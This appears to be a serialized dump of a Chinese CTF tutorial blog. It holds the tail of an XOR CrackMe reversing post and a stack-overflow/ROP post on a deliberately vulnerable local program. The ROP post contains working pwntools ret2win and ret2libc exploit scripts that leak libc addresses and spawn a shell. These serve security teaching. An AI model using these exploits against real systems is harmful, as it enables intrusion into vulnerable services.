解码成字符串显示。\n",[15,9323,7327],{},[19,9325,9327],{"className":21,"code":9326,"language":23,"meta":24,"style":24},"python3 solve.py\n",[26,9328,9329],{"__ignoreMap":24},[29,9330,9331,9333],{"class":31,"line":32},[29,9332,4074],{"class":35},[29,9334,9335],{"class":47}," solve.py\n",[15,9337,4372],{},[19,9339,9341],{"className":9340,"code":3269,"language":63,"meta":24},[61],[26,9342,3269],{"__ignoreMap":24},[15,9344,9345],{},"验证：",[19,9347,9348],{"className":21,"code":3278,"language":23,"meta":24,"style":24},[26,9349,9350],{"__ignoreMap":24},[29,9351,9352,9354],{"class":31,"line":32},[29,9353,3285],{"class":35},[29,9355,3288],{"class":47},[15,9357,4372,9358,789],{},[26,9359,2251],{},[10,9361,9363],{"id":9362},"七必学工具","七、必学工具",[70,9365,9366,9376],{},[73,9367,9368],{},[76,9369,9370,9372,9374],{},[79,9371,3008],{},[79,9373,3011],{},[79,9375,5998],{},[86,9377,9378,9390,9402,9417,9434],{},[76,9379,9380,9382,9385],{},[91,9381,2152],{},[91,9383,9384],{},"看类型/是否 stripped",[91,9386,9387],{},[26,9388,9389],{},"file crackme",[76,9391,9392,9394,9397],{},[91,9393,2195],{},[91,9395,9396],{},"提取字符串、指定最小长度",[91,9398,9399],{},[26,9400,9401],{},"strings -n 3 crackme",[76,9403,9404,9406,9409],{},[91,9405,2347],{},[91,9407,9408],{},"反汇编、看数据段",[91,9410,9411,1847,9414],{},[26,9412,9413],{},"objdump -d -M intel crackme",[26,9415,9416],{},"objdump -s -j .rodata crackme",[76,9418,9419,9421,9424],{},[91,9420,3066],{},[91,9422,9423],{},"断点、运行、查看内存",[91,9425,9426,1847,9428,1847,9431],{},[26,9427,3074],{},[26,9429,9430],{},"run xxx",[26,9432,9433],{},"x/24bx addr",[76,9435,9436,9439,9442],{},[91,9437,9438],{},"Ghidra",[91,9440,9441],{},"反编译伪代码",[91,9443,9444],{},[26,9445,9446],{},"ghidraRun",[10,9448,9450],{"id":9449},"八小-ctf-实战流程复述","八、小 CTF 实战：流程复述",[2751,9452,9453,9460,9471,9477],{},[880,9454,9455,9457,9458,789],{},[26,9456,9401],{}," → 找到密钥 ",[26,9459,2258],{},[880,9461,9462,9464,9465,9467,9468,789],{},[26,9463,2347],{},"/Ghidra → 确认 ",[26,9466,2520],{}," 里是 ",[26,9469,9470],{},"input[i] ^ key[i%3] == enc[i]",[880,9472,9473,9474,789],{},"Python 一行异或还原 → ",[26,9475,9476],{},"ctf{reverse_engineering}",[880,9478,9479,9480,789],{},"运行验证 → ",[26,9481,2251],{},[10,9483,7474],{"id":7473},[15,9485,9486,9487,9490],{},"XOR CrackMe 的通用解法：",[138,9488,9489],{},"找密钥、找密文、再异或一次","。逆向题的套路基本都是\"侦查 → 定位校验 → 逆运算\"三步；后续遇到的壳、混淆只是在中间增加干扰。",[1990,9492,9493],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":24,"searchDepth":166,"depth":166,"links":9495},[9496,9497,9498,9499,9500,9501,9502,9503,9504],{"id":8569,"depth":184,"text":8570},{"id":8576,"depth":184,"text":8577},{"id":2125,"depth":184,"text":2126},{"id":8918,"depth":184,"text":8919},{"id":2807,"depth":184,"text":2808},{"id":9238,"depth":184,"text":9239},{"id":9362,"depth":184,"text":9363},{"id":9449,"depth":184,"text":9450},{"id":7473,"depth":184,"text":7474},"完整的 CrackMe 逆向：编译源码、file/strings 侦查、objdump/Ghidra 定位校验、GDB 动态调试、Python 逆运算还原 flag。",{"date":2008,"image":9507,"alt":9508,"tags":9509,"published":224},"/blogs-img/blog7.png","XOR CrackMe 完整实操",[788,3326,3100,2013],"/blogs/ctf-reverse-crackme-deep-dive",{"title":8564,"description":9505},"blogs/16. ctf-reverse-crackme-deep-dive","xZZ1X760wPJNGRPAuGfcnpCTK_DSMHcI_gsMU8yxErg",{"id":9515,"title":9516,"body":9517,"description":10601,"extension":2006,"meta":10602,"navigation":224,"ogImage":10603,"path":10607,"seo":10608,"stem":10609,"__hash__":10610},"content/blogs/17. ctf-pwn-stack-overflow-rop-deep-dive.md","栈溢出与 ROP 深入实战：偏移、ret2win 与 ret2libc",{"type":7,"value":9518,"toc":10588},[9519,9523,9538,9541,9543,9591,9593,9597,9677,9680,9699,9703,9708,9713,9725,9727,9732,9735,9790,9792,9797,9803,9806,9809,9819,9873,9875,9881,9895,9899,9904,9965,9967,9977,9979,9985,10003,10007,10013,10016,10043,10045,10051,10064,10070,10074,10081,10086,10095,10099,10105,10109,10385,10388,10394,10398,10445,10449,10510,10514,10524,10565,10567,10572,10576,10585],[10,9520,9522],{"id":9521},"一现实背景缓冲区溢出","一、现实背景：缓冲区溢出",[15,9524,9525,1847,9527,1847,9530,9533,9534,9537],{},[26,9526,3345],{},[26,9528,9529],{},"strcpy",[26,9531,9532],{},"sprintf"," 不校验写入长度。输入超过缓冲区容量时，数据覆盖相邻内存，包括函数的返回地址。程序 ",[26,9535,9536],{},"ret"," 时跳到被覆盖的地址执行——这就是栈溢出的核心。",[15,9539,9540],{},"本文环境：Linux（Kali/Ubuntu），x86-64 架构，这是 CTF Pwn 的标准环境。",[10,9542,2086],{"id":2085},[19,9544,9546],{"className":21,"code":9545,"language":23,"meta":24,"style":24},"apt install gcc gdb\npip3 install pwntools ROPgadget\ngit clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh\n",[26,9547,9548,9558,9570],{"__ignoreMap":24},[29,9549,9550,9552,9554,9556],{"class":31,"line":32},[29,9551,169],{"class":35},[29,9553,172],{"class":47},[29,9555,3370],{"class":47},[29,9557,3373],{"class":47},[29,9559,9560,9562,9564,9567],{"class":31,"line":166},[29,9561,3378],{"class":35},[29,9563,172],{"class":47},[29,9565,9566],{"class":47}," pwntools",[29,9568,9569],{"class":47}," ROPgadget\n",[29,9571,9572,9574,9576,9579,9581,9583,9586,9588],{"class":31,"line":184},[29,9573,187],{"class":35},[29,9575,190],{"class":47},[29,9577,9578],{"class":47}," https://github.com/pwndbg/pwndbg",[29,9580,2743],{"class":1035},[29,9582,200],{"class":199},[29,9584,9585],{"class":47}," pwndbg",[29,9587,2743],{"class":1035},[29,9589,9590],{"class":35},"./setup.sh\n",[10,9592,3387],{"id":3386},[15,9594,9595,324],{},[26,9596,3393],{},[19,9598,9599],{"className":2777,"code":3396,"language":2779,"meta":24,"style":24},[26,9600,9601,9605,9609,9613,9617,9621,9625,9629,9633,9637,9641,9645,9649,9653,9657,9661,9665,9669,9673],{"__ignoreMap":24},[29,9602,9603],{"class":31,"line":32},[29,9604,3403],{},[29,9606,9607],{"class":31,"line":166},[29,9608,3408],{},[29,9610,9611],{"class":31,"line":184},[29,9612,225],{"emptyLinePlaceholder":224},[29,9614,9615],{"class":31,"line":196},[29,9616,3417],{},[29,9618,9619],{"class":31,"line":206},[29,9620,3422],{},[29,9622,9623],{"class":31,"line":221},[29,9624,455],{},[29,9626,9627],{"class":31,"line":228},[29,9628,225],{"emptyLinePlaceholder":224},[29,9630,9631],{"class":31,"line":234},[29,9632,3435],{},[29,9634,9635],{"class":31,"line":246},[29,9636,3440],{},[29,9638,9639],{"class":31,"line":376},[29,9640,3445],{},[29,9642,9643],{"class":31,"line":382},[29,9644,455],{},[29,9646,9647],{"class":31,"line":388},[29,9648,225],{"emptyLinePlaceholder":224},[29,9650,9651],{"class":31,"line":394},[29,9652,3458],{},[29,9654,9655],{"class":31,"line":400},[29,9656,3463],{},[29,9658,9659],{"class":31,"line":405},[29,9660,3468],{},[29,9662,9663],{"class":31,"line":411},[29,9664,3473],{},[29,9666,9667],{"class":31,"line":417},[29,9668,3478],{},[29,9670,9671],{"class":31,"line":422},[29,9672,3483],{},[29,9674,9675],{"class":31,"line":428},[29,9676,455],{},[15,9678,9679],{},"编译：",[19,9681,9683],{"className":21,"code":9682,"language":23,"meta":24,"style":24},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n",[26,9684,9685],{"__ignoreMap":24},[29,9686,9687,9689,9691,9693,9695,9697],{"class":31,"line":32},[29,9688,3500],{"class":35},[29,9690,3503],{"class":39},[29,9692,3506],{"class":47},[29,9694,3509],{"class":47},[29,9696,3512],{"class":39},[29,9698,3515],{"class":39},[10,9700,9702],{"id":9701},"四核心步骤-1checksec","四、核心步骤 1：checksec",[15,9704,9705,9707],{},[138,9706,519],{},"：开打前判断这条路能否走通，避免构造无效 payload。",[15,9709,9710,9712],{},[138,9711,528],{},"：No canary → 可以直接覆盖返回地址；No PIE → win 地址写死可用；NX 开启 → 本阶段不打 shellcode，后面用 ROP。",[19,9714,9715],{"className":21,"code":3544,"language":23,"meta":24,"style":24},[26,9716,9717],{"__ignoreMap":24},[29,9718,9719,9721,9723],{"class":31,"line":32},[29,9720,3551],{"class":35},[29,9722,3554],{"class":47},[29,9724,3557],{"class":47},[15,9726,504],{},[19,9728,9730],{"className":9729,"code":3563,"language":63,"meta":24},[61],[26,9731,3563],{"__ignoreMap":24},[15,9733,9734],{},"逐行含义：",[70,9736,9737,9745],{},[73,9738,9739],{},[76,9740,9741,9743],{},[79,9742,7362],{},[79,9744,84],{},[86,9746,9747,9757,9767,9780],{},[76,9748,9749,9754],{},[91,9750,9751],{},[26,9752,9753],{},"No canary found",[91,9755,9756],{},"无栈金丝雀，可覆盖返回地址",[76,9758,9759,9764],{},[91,9760,9761],{},[26,9762,9763],{},"NX enabled",[91,9765,9766],{},"栈不可执行，不能直接放 shellcode",[76,9768,9769,9774],{},[91,9770,9771],{},[26,9772,9773],{},"No PIE",[91,9775,9776,9777,9779],{},"程序地址固定，",[26,9778,3625],{}," 地址可直接写死",[76,9781,9782,9787],{},[91,9783,9784],{},[26,9785,9786],{},"Partial RELRO",[91,9788,9789],{},"GOT 可写（本阶段用不到）",[10,9791,3630],{"id":3629},[15,9793,9794,9796],{},[26,9795,3635],{}," 栈帧自低到高：",[19,9798,9801],{"className":9799,"code":9800,"language":63,"meta":24},[61],"┌──────────────────────┐\n│  buf[32]             │  ← gets 写入起点\n├──────────────────────┤\n│  对齐填充             │\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │  ← 目标\n└──────────────────────┘\n",[26,9802,9800],{"__ignoreMap":24},[15,9804,9805],{},"偏移 = 32 + 8 = 40。",[15,9807,9808],{},"用 pwntools 验证：",[15,9810,9811,324,9813,9815,9816,9818],{},[138,9812,528],{},[26,9814,3648],{}," 生成无重复模式串，程序崩溃时 rip 的值取自模式串；",[26,9817,4006],{}," 反查位置，即\"从输入开头到返回地址的距离\"。",[19,9820,9822],{"className":3199,"code":9821,"language":3201,"meta":24,"style":24},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\np.wait()\n# 等进程崩溃退出，生成 core 文件供读取。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：崩溃时 rip 的值。\n# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\nprint(\"offset =\", offset)\n",[26,9823,9824,9828,9832,9836,9840,9845,9849,9854,9858,9863,9868],{"__ignoreMap":24},[29,9825,9826],{"class":31,"line":32},[29,9827,3659],{},[29,9829,9830],{"class":31,"line":166},[29,9831,225],{"emptyLinePlaceholder":224},[29,9833,9834],{"class":31,"line":184},[29,9835,3668],{},[29,9837,9838],{"class":31,"line":196},[29,9839,3673],{},[29,9841,9842],{"class":31,"line":206},[29,9843,9844],{},"# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\n",[29,9846,9847],{"class":31,"line":221},[29,9848,3688],{},[29,9850,9851],{"class":31,"line":228},[29,9852,9853],{},"# 等进程崩溃退出，生成 core 文件供读取。\n",[29,9855,9856],{"class":31,"line":234},[29,9857,3698],{},[29,9859,9860],{"class":31,"line":246},[29,9861,9862],{},"# p.corefile.fault_addr：崩溃时 rip 的值。\n",[29,9864,9865],{"class":31,"line":376},[29,9866,9867],{},"# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\n",[29,9869,9870],{"class":31,"line":382},[29,9871,9872],{},"print(\"offset =\", offset)\n",[15,9874,504],{},[19,9876,9879],{"className":9877,"code":9878,"language":63,"meta":24},[61],"offset = 40\n",[26,9880,9878],{"__ignoreMap":24},[15,9882,9883,9884,9887,9888,9891,9892,9894],{},"原理：",[26,9885,9886],{},"cyclic(200)"," 生成无重复的模式串；程序崩溃时 ",[26,9889,9890],{},"rip"," 的值必然是模式串中的 4/8 字节，",[26,9893,4006],{}," 返回它在模式串中的位置，即到返回地址的距离。",[10,9896,9898],{"id":9897},"六核心步骤-3ret2win","六、核心步骤 3：ret2win",[15,9900,9901,9903],{},[138,9902,519],{},"：把返回地址改成 win，验证控制流劫持成功。",[19,9905,9907],{"className":3199,"code":9906,"language":3201,"meta":24,"style":24},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\npayload = b'A' * 40 + p64(elf.symbols['win'])\n# b'A'*40：填充缓冲区与 saved rbp。\n# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\np.sendline(payload)\np.interactive()\n# interactive()：把终端接到进程，shell 可交互。\n",[26,9908,9909,9913,9917,9921,9925,9929,9933,9938,9942,9947,9952,9956,9960],{"__ignoreMap":24},[29,9910,9911],{"class":31,"line":32},[29,9912,3659],{},[29,9914,9915],{"class":31,"line":166},[29,9916,225],{"emptyLinePlaceholder":224},[29,9918,9919],{"class":31,"line":184},[29,9920,3749],{},[29,9922,9923],{"class":31,"line":196},[29,9924,3668],{},[29,9926,9927],{"class":31,"line":206},[29,9928,225],{"emptyLinePlaceholder":224},[29,9930,9931],{"class":31,"line":221},[29,9932,3911],{},[29,9934,9935],{"class":31,"line":228},[29,9936,9937],{},"# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\n",[29,9939,9940],{"class":31,"line":234},[29,9941,3926],{},[29,9943,9944],{"class":31,"line":246},[29,9945,9946],{},"# b'A'*40：填充缓冲区与 saved rbp。\n",[29,9948,9949],{"class":31,"line":376},[29,9950,9951],{},"# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\n",[29,9953,9954],{"class":31,"line":382},[29,9955,3852],{},[29,9957,9958],{"class":31,"line":388},[29,9959,3940],{},[29,9961,9962],{"class":31,"line":394},[29,9963,9964],{},"# interactive()：把终端接到进程，shell 可交互。\n",[15,9966,7327],{},[19,9968,9969],{"className":21,"code":4067,"language":23,"meta":24,"style":24},[26,9970,9971],{"__ignoreMap":24},[29,9972,9973,9975],{"class":31,"line":32},[29,9974,4074],{"class":35},[29,9976,4077],{"class":47},[15,9978,3953],{},[19,9980,9983],{"className":9981,"code":9982,"language":63,"meta":24},[61],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n",[26,9984,9982],{"__ignoreMap":24},[15,9986,9987,9988,9990,9991,4244,9993,2942,9995,9997,9998,4244,10000,10002],{},"执行过程：",[26,9989,3345],{}," 把 48 字节写入 buf → 前 40 字节填满 buf+saved rbp → 后 8 字节覆盖返回地址为 ",[26,9992,3625],{},[26,9994,3635],{},[26,9996,9536],{}," 跳到 ",[26,9999,3625],{},[26,10001,3969],{}," 弹 shell。",[10,10004,10006],{"id":10005},"七进阶nx-与-rop","七、进阶：NX 与 ROP",[15,10008,10009,10010,10012],{},"NX 开启后栈不可执行，但代码段可执行。ROP（Return-Oriented Programming）把程序里已有的、以 ",[26,10011,9536],{}," 结尾的指令片段（gadget）串起来执行。",[15,10014,10015],{},"找 gadget：",[19,10017,10019],{"className":21,"code":10018,"language":23,"meta":24,"style":24},"ROPgadget --binary ./vuln | grep \"pop rdi\"\n",[26,10020,10021],{"__ignoreMap":24},[29,10022,10023,10026,10029,10032,10034,10036,10038,10041],{"class":31,"line":32},[29,10024,10025],{"class":35},"ROPgadget",[29,10027,10028],{"class":39}," --binary",[29,10030,10031],{"class":47}," ./vuln",[29,10033,2381],{"class":1044},[29,10035,2384],{"class":35},[29,10037,44],{"class":43},[29,10039,10040],{"class":47},"pop rdi",[29,10042,51],{"class":43},[15,10044,504],{},[19,10046,10049],{"className":10047,"code":10048,"language":63,"meta":24},[61],"0x0000000000401233 : pop rdi ; ret\n",[26,10050,10048],{"__ignoreMap":24},[15,10052,10053,10056,10057,10060,10061,10063],{},[26,10054,10055],{},"pop rdi; ret"," 的作用：把栈上的下一个 8 字节弹进 ",[26,10058,10059],{},"rdi","（x86-64 的第一个参数寄存器），然后 ",[26,10062,9536],{}," 跳到下个地址。栈上布局：",[19,10065,10068],{"className":10066,"code":10067,"language":63,"meta":24},[61],"[pop rdi; ret] [参数] [要调用的函数] [下一 gadget] ...\n",[26,10069,10067],{"__ignoreMap":24},[10,10071,10073],{"id":10072},"八进阶ret2libc","八、进阶：ret2libc",[15,10075,10076,10078,10079,789],{},[138,10077,519],{},"：程序内没有目标函数时，改调 libc 的 ",[26,10080,3969],{},[15,10082,10083,10085],{},[138,10084,528],{},"：ASLR 让 libc 基址随机，但\"符号在 libc 内的偏移\"固定。先泄露一个已知符号（puts）的真实地址，反推基址，再计算 system 与 \"/bin/sh\" 的地址。验证方式：第一段打印出的 puts 地址与 libc 文件里查到的偏移做差，得到的基址应当是 0x...000 结尾。",[15,10087,10088,10089,10091,10092,10094],{},"程序里没有 ",[26,10090,3625],{}," 时，改调 libc 里的 ",[26,10093,3969],{},"。libc 基址被 ASLR 随机化，解决方法是\"先泄露，再计算\"。",[271,10096,10098],{"id":10097},"_81-原理","8.1 原理",[19,10100,10103],{"className":10101,"code":10102,"language":63,"meta":24},[61],"泄露 puts 的真实地址（调用 puts(puts@got)）\nlibc 基址 = puts 真实地址 - puts 在 libc 中的偏移\nsystem 地址 = libc 基址 + system 偏移\n\"/bin/sh\" 地址 = libc 基址 + 字符串偏移\n",[26,10104,10102],{"__ignoreMap":24},[271,10106,10108],{"id":10107},"_82-完整脚本","8.2 完整脚本",[19,10110,10112],{"className":3199,"code":10111,"language":3201,"meta":24,"style":24},"from pwn import *\n\ncontext.log_level = 'error'\n# 只显示错误，减少调试信息刷屏。\n\nelf = ELF('./vuln')\nlibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\np = process('./vuln')\n\noffset = 40\npop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\nret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n\n# 第一阶段：泄露 puts 地址并返回 main\npayload1 = b'A' * offset\npayload1 += p64(ret)\n# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\npayload1 += p64(pop_rdi)\npayload1 += p64(elf.got['puts'])\n# got['puts']：GOT 里存放 puts 真实地址的内存位置。\npayload1 += p64(elf.plt['puts'])\n# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\npayload1 += p64(elf.symbols['main'])\n# 回到 main，让程序再读一次输入，进行第二阶段。\n\np.recvuntil(b'name?')\np.sendline(payload1)\n\nleak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n# recvline()：读一行（puts 输出后带换行）。\n# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n# u64()：8 字节小端转成整数，即 puts 的真实地址。\nprint(\"puts:\", hex(leak))\n\nlibc.address = leak - libc.symbols['puts']\n# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n# 后面的 libc.symbols['system'] 会自动加上基址。\nprint(\"libc base:\", hex(libc.address))\n\n# 第二阶段：system(\"/bin/sh\")\npayload2 = b'A' * offset\npayload2 += p64(ret)\npayload2 += p64(pop_rdi)\npayload2 += p64(next(libc.search(b'/bin/sh')))\n# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\npayload2 += p64(libc.symbols['system'])\n# 调用 system(\"/bin/sh\")。\n\np.sendlineafter(b'name?', payload2)\n# sendlineafter：先等提示再发送，保证时序正确。\np.interactive()\n",[26,10113,10114,10118,10122,10127,10132,10136,10140,10145,10150,10154,10158,10162,10167,10172,10176,10181,10186,10191,10196,10201,10206,10211,10216,10221,10226,10231,10235,10239,10244,10248,10253,10258,10263,10268,10273,10277,10282,10287,10292,10298,10304,10309,10315,10321,10327,10333,10339,10345,10351,10357,10363,10368,10374,10380],{"__ignoreMap":24},[29,10115,10116],{"class":31,"line":32},[29,10117,3659],{},[29,10119,10120],{"class":31,"line":166},[29,10121,225],{"emptyLinePlaceholder":224},[29,10123,10124],{"class":31,"line":184},[29,10125,10126],{},"context.log_level = 'error'\n",[29,10128,10129],{"class":31,"line":196},[29,10130,10131],{},"# 只显示错误，减少调试信息刷屏。\n",[29,10133,10134],{"class":31,"line":206},[29,10135,225],{"emptyLinePlaceholder":224},[29,10137,10138],{"class":31,"line":221},[29,10139,3749],{},[29,10141,10142],{"class":31,"line":228},[29,10143,10144],{},"libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n",[29,10146,10147],{"class":31,"line":234},[29,10148,10149],{},"# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\n",[29,10151,10152],{"class":31,"line":246},[29,10153,3668],{},[29,10155,10156],{"class":31,"line":376},[29,10157,225],{"emptyLinePlaceholder":224},[29,10159,10160],{"class":31,"line":382},[29,10161,9878],{},[29,10163,10164],{"class":31,"line":388},[29,10165,10166],{},"pop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\n",[29,10168,10169],{"class":31,"line":394},[29,10170,10171],{},"ret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n",[29,10173,10174],{"class":31,"line":400},[29,10175,225],{"emptyLinePlaceholder":224},[29,10177,10178],{"class":31,"line":405},[29,10179,10180],{},"# 第一阶段：泄露 puts 地址并返回 main\n",[29,10182,10183],{"class":31,"line":411},[29,10184,10185],{},"payload1 = b'A' * offset\n",[29,10187,10188],{"class":31,"line":417},[29,10189,10190],{},"payload1 += p64(ret)\n",[29,10192,10193],{"class":31,"line":422},[29,10194,10195],{},"# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\n",[29,10197,10198],{"class":31,"line":428},[29,10199,10200],{},"payload1 += p64(pop_rdi)\n",[29,10202,10203],{"class":31,"line":434},[29,10204,10205],{},"payload1 += p64(elf.got['puts'])\n",[29,10207,10208],{"class":31,"line":440},[29,10209,10210],{},"# got['puts']：GOT 里存放 puts 真实地址的内存位置。\n",[29,10212,10213],{"class":31,"line":446},[29,10214,10215],{},"payload1 += p64(elf.plt['puts'])\n",[29,10217,10218],{"class":31,"line":452},[29,10219,10220],{},"# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\n",[29,10222,10223],{"class":31,"line":458},[29,10224,10225],{},"payload1 += p64(elf.symbols['main'])\n",[29,10227,10228],{"class":31,"line":5704},[29,10229,10230],{},"# 回到 main，让程序再读一次输入，进行第二阶段。\n",[29,10232,10233],{"class":31,"line":5709},[29,10234,225],{"emptyLinePlaceholder":224},[29,10236,10237],{"class":31,"line":5715},[29,10238,3911],{},[29,10240,10241],{"class":31,"line":5721},[29,10242,10243],{},"p.sendline(payload1)\n",[29,10245,10246],{"class":31,"line":5726},[29,10247,225],{"emptyLinePlaceholder":224},[29,10249,10250],{"class":31,"line":5732},[29,10251,10252],{},"leak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n",[29,10254,10255],{"class":31,"line":5738},[29,10256,10257],{},"# recvline()：读一行（puts 输出后带换行）。\n",[29,10259,10260],{"class":31,"line":5744},[29,10261,10262],{},"# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n",[29,10264,10265],{"class":31,"line":5750},[29,10266,10267],{},"# u64()：8 字节小端转成整数，即 puts 的真实地址。\n",[29,10269,10270],{"class":31,"line":5755},[29,10271,10272],{},"print(\"puts:\", hex(leak))\n",[29,10274,10275],{"class":31,"line":5761},[29,10276,225],{"emptyLinePlaceholder":224},[29,10278,10279],{"class":31,"line":5767},[29,10280,10281],{},"libc.address = leak - libc.symbols['puts']\n",[29,10283,10284],{"class":31,"line":5773},[29,10285,10286],{},"# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n",[29,10288,10289],{"class":31,"line":5779},[29,10290,10291],{},"# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n",[29,10293,10295],{"class":31,"line":10294},39,[29,10296,10297],{},"# 后面的 libc.symbols['system'] 会自动加上基址。\n",[29,10299,10301],{"class":31,"line":10300},40,[29,10302,10303],{},"print(\"libc base:\", hex(libc.address))\n",[29,10305,10307],{"class":31,"line":10306},41,[29,10308,225],{"emptyLinePlaceholder":224},[29,10310,10312],{"class":31,"line":10311},42,[29,10313,10314],{},"# 第二阶段：system(\"/bin/sh\")\n",[29,10316,10318],{"class":31,"line":10317},43,[29,10319,10320],{},"payload2 = b'A' * offset\n",[29,10322,10324],{"class":31,"line":10323},44,[29,10325,10326],{},"payload2 += p64(ret)\n",[29,10328,10330],{"class":31,"line":10329},45,[29,10331,10332],{},"payload2 += p64(pop_rdi)\n",[29,10334,10336],{"class":31,"line":10335},46,[29,10337,10338],{},"payload2 += p64(next(libc.search(b'/bin/sh')))\n",[29,10340,10342],{"class":31,"line":10341},47,[29,10343,10344],{},"# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n",[29,10346,10348],{"class":31,"line":10347},48,[29,10349,10350],{},"# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\n",[29,10352,10354],{"class":31,"line":10353},49,[29,10355,10356],{},"payload2 += p64(libc.symbols['system'])\n",[29,10358,10360],{"class":31,"line":10359},50,[29,10361,10362],{},"# 调用 system(\"/bin/sh\")。\n",[29,10364,10366],{"class":31,"line":10365},51,[29,10367,225],{"emptyLinePlaceholder":224},[29,10369,10371],{"class":31,"line":10370},52,[29,10372,10373],{},"p.sendlineafter(b'name?', payload2)\n",[29,10375,10377],{"class":31,"line":10376},53,[29,10378,10379],{},"# sendlineafter：先等提示再发送，保证时序正确。\n",[29,10381,10383],{"class":31,"line":10382},54,[29,10384,3940],{},[15,10386,10387],{},"运行输出：",[19,10389,10392],{"className":10390,"code":10391,"language":63,"meta":24},[61],"puts: 0x7f8a2c3a5aa0\nlibc base: 0x7f8a2c328000\n[*] Switching to interactive mode\n$ id\n",[26,10393,10391],{"__ignoreMap":24},[271,10395,10397],{"id":10396},"_83-三个易错点","8.3 三个易错点",[2751,10399,10400,10420,10435],{},[880,10401,10402,324,10405,10408,10409,10412,10413,10416,10417,789],{},[138,10403,10404],{},"补零",[26,10406,10407],{},"puts"," 输出的地址以换行结尾，",[26,10410,10411],{},"strip()"," 去掉换行，",[26,10414,10415],{},"ljust(8, b'\\x00')"," 补到 8 字节再 ",[26,10418,10419],{},"u64",[880,10421,10422,324,10425,10428,10429,10432,10433,789],{},[138,10423,10424],{},"对齐",[26,10426,10427],{},"system"," 内部使用 ",[26,10430,10431],{},"movaps","，要求栈 16 字节对齐，需要额外一个 ",[26,10434,9536],{},[880,10436,10437,10440,10441,10444],{},[138,10438,10439],{},"libc 版本","：远程题目若提供 libc，用 ",[26,10442,10443],{},"libc = ELF('./libc-2.27.so')","；否则在 libc.rip 输入泄露的地址查版本。",[10,10446,10448],{"id":10447},"九必学工具","九、必学工具",[70,10450,10451,10461],{},[73,10452,10453],{},[76,10454,10455,10457,10459],{},[79,10456,3008],{},[79,10458,3985],{},[79,10460,3988],{},[86,10462,10463,10481,10493],{},[76,10464,10465,10467,10479],{},[91,10466,3995],{},[91,10468,10469,1847,10471,3086,10473,1847,10475,4010,10477],{},[26,10470,4000],{},[26,10472,3648],{},[26,10474,4006],{},[26,10476,3862],{},[26,10478,4013],{},[91,10480,4017],{},[76,10482,10483,10485,10488],{},[91,10484,10025],{},[91,10486,10487],{},"搜索 gadget、指定寄存器、输出地址",[91,10489,10490],{},[26,10491,10492],{},"ROPgadget --binary vuln | grep \"pop rdi\"",[76,10494,10495,10498,10501],{},[91,10496,10497],{},"GDB（pwndbg）",[91,10499,10500],{},"断点、看栈、查看崩溃点",[91,10502,10503,1847,10505,1847,10507],{},[26,10504,4043],{},[26,10506,4046],{},[26,10508,10509],{},"bt",[10,10511,10513],{"id":10512},"十小-ctf-实战","十、小 CTF 实战",[15,10515,3097,10516,10518,10519,10521,10522,1490],{},[26,10517,4058],{}," 运行 ",[26,10520,3635],{},"（No canary、No PIE，有 